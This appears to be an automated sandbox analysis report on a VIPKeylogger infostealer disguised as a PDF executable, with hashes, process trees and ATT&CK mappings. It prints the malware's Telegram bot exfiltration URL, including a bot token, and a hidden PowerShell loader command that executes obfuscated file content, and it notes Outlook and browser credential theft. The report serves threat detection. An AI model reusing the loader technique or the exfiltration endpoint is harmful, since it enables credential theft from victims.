Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
02-12-2024 15:13
Static task
static1
Behavioral task
behavioral1
Sample
678763_PDF.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
678763_PDF.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
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Target
678763_PDF.exe
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Size
694KB
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MD5
42b3eeff606c41053b2b30e6df1baa87
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SHA1
8957ac95d71567ccf7d0efc28ddcc944352308d0
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SHA256
f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4
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SHA512
2646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8
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SSDEEP
12288:IfL/UfibuJ2zMMzztVZK+u5YBCtKlQyYefZKSxA340ryKhzJ:IfL8fibuJ2/JVZZuaBCtjexKj3vR
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8138030788:AAEti5Rsvkh3t9x1DE3f72xKiRnG5XE9PkI/sendMessage?chat_id=7844469787
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2364 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 3348 678763_PDF.exe 220 Beskftigelsesmssiges.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Beskftigelsesmssiges.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Beskftigelsesmssiges.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Beskftigelsesmssiges.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 20 drive.google.com 19 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 220 Beskftigelsesmssiges.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2364 powershell.exe 220 Beskftigelsesmssiges.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 678763_PDF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Beskftigelsesmssiges.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 220 Beskftigelsesmssiges.exe 220 Beskftigelsesmssiges.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2364 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2364 powershell.exe Token: SeIncreaseQuotaPrivilege 2364 powershell.exe Token: SeSecurityPrivilege 2364 powershell.exe Token: SeTakeOwnershipPrivilege 2364 powershell.exe Token: SeLoadDriverPrivilege 2364 powershell.exe Token: SeSystemProfilePrivilege 2364 powershell.exe Token: SeSystemtimePrivilege 2364 powershell.exe Token: SeProfSingleProcessPrivilege 2364 powershell.exe Token: SeIncBasePriorityPrivilege 2364 powershell.exe Token: SeCreatePagefilePrivilege 2364 powershell.exe Token: SeBackupPrivilege 2364 powershell.exe Token: SeRestorePrivilege 2364 powershell.exe Token: SeShutdownPrivilege 2364 powershell.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeSystemEnvironmentPrivilege 2364 powershell.exe Token: SeRemoteShutdownPrivilege 2364 powershell.exe Token: SeUndockPrivilege 2364 powershell.exe Token: SeManageVolumePrivilege 2364 powershell.exe Token: 33 2364 powershell.exe Token: 34 2364 powershell.exe Token: 35 2364 powershell.exe Token: 36 2364 powershell.exe Token: SeDebugPrivilege 220 Beskftigelsesmssiges.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3348 wrote to memory of 2364 3348 678763_PDF.exe 84 PID 3348 wrote to memory of 2364 3348 678763_PDF.exe 84 PID 3348 wrote to memory of 2364 3348 678763_PDF.exe 84 PID 2364 wrote to memory of 220 2364 powershell.exe 98 PID 2364 wrote to memory of 220 2364 powershell.exe 98 PID 2364 wrote to memory of 220 2364 powershell.exe 98 PID 2364 wrote to memory of 220 2364 powershell.exe 98 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Beskftigelsesmssiges.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Beskftigelsesmssiges.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\678763_PDF.exe"C:\Users\Admin\AppData\Local\Temp\678763_PDF.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3348 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Epigraphic93=gc -raw 'C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Hyperimmune.Mus';$Miljerne=$Epigraphic93.SubString(70004,3);.$Miljerne($Epigraphic93) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe"C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:220
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
694KB
MD542b3eeff606c41053b2b30e6df1baa87
SHA18957ac95d71567ccf7d0efc28ddcc944352308d0
SHA256f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4
SHA5122646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD5b4579bc396ace8cafd9e825ff63fe244
SHA132a87ed28a510e3b3c06a451d1f3d0ba9faf8d9c
SHA25601e72332362345c415a7edcb366d6a1b52be9ac6e946fb9da49785c140ba1a4b
SHA5123a76e0e259a0ca12275fed922ce6e01bdfd9e33ba85973e80101b8025ef9243f5e32461a113bbcc6aa75e40894bb5d3a42d6b21045517b6b3cf12d76b4cfa36a
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Filesize
68KB
MD5768076bc07a8269777eca668ffad03db
SHA1f45fe94624260d24d11fd08cef836613c7b6b6de
SHA2565dd1c6b30be06f7d0b330db92b5ce440f11abd4d0e0574325054aa32e6704373
SHA512e3118fcf36589362057d930e89b8e65d8f5e5f83cd3f1c105ea23a86633cad45d063d4e59a7e2e88b301fbad79b2b250c18b4188db1b2469e7989719f6ba0da9
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Filesize
302KB
MD568203be6aeca0041e89c1b3ad79d66ab
SHA19fdfce5ef08c4cea42305dc42aafac600edfbdcf
SHA256f96640c810b03b5701a67ef0b8916b5d4d3d47cb6befed3337462e2f6ff2711c
SHA512fd594bec40cbf4db10a593b94172856429f9db80a021a54a6674fcd6861d34cf28ca0cfb593d5c0671e82baeae96a60bfd66f35137d4fff7016880951665acd0